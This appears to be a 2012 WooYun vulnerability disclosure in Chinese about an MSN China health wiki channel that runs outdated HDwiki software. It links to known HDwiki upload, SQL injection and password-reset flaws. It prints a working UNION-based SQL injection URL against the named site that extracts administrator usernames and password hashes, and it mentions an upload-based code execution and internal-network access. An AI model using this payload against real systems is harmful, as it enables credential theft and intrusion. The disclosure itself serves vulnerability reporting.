MSN某频道源码漏洞导致任意代码执行及内网渗透

日期: 2012/04/24 | 标签: | 游览：524

漏洞详情

披露状态：

2012-04-20： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-04-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

由于MSN某频道采用某开源源码，此源码存在较严重漏洞，而且打补丁不及时，导致任意代码执行，从而被成功入侵。

详细说明：

频道地址：
http://wiki.health.msn.com.cn/

些频道采用HDwiki源码，源码存在较多漏洞。
如：
HDwiki文件上传导致远程代码执行漏洞
http://www.wooyun.org/bugs/wooyun-2010-02706
HDwiki某SQL注射和鸡肋文件包含
http://www.wooyun.org/bugs/wooyun-2010-05619
HDWiki 5.1 任意用户密码修改漏洞
http://www.wooyun.org/bugs/wooyun-2010-06052

等。
先是注入
http://wiki.health.msn.com.cn/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,concat%28username,0x7c,password%29,7,8,9,0,1,2,3,4,5,6,7,8,9,0%20from%20wiki_user%20where%20groupid=4%23

结果如下图。
不过还有更给力的，可以直接上传，即利用第一个漏洞。
具体不说了，看图。。还是内网，可以继续渗透。。。

版权声明：转载请注明来源 路人甲@乌云

评论关闭。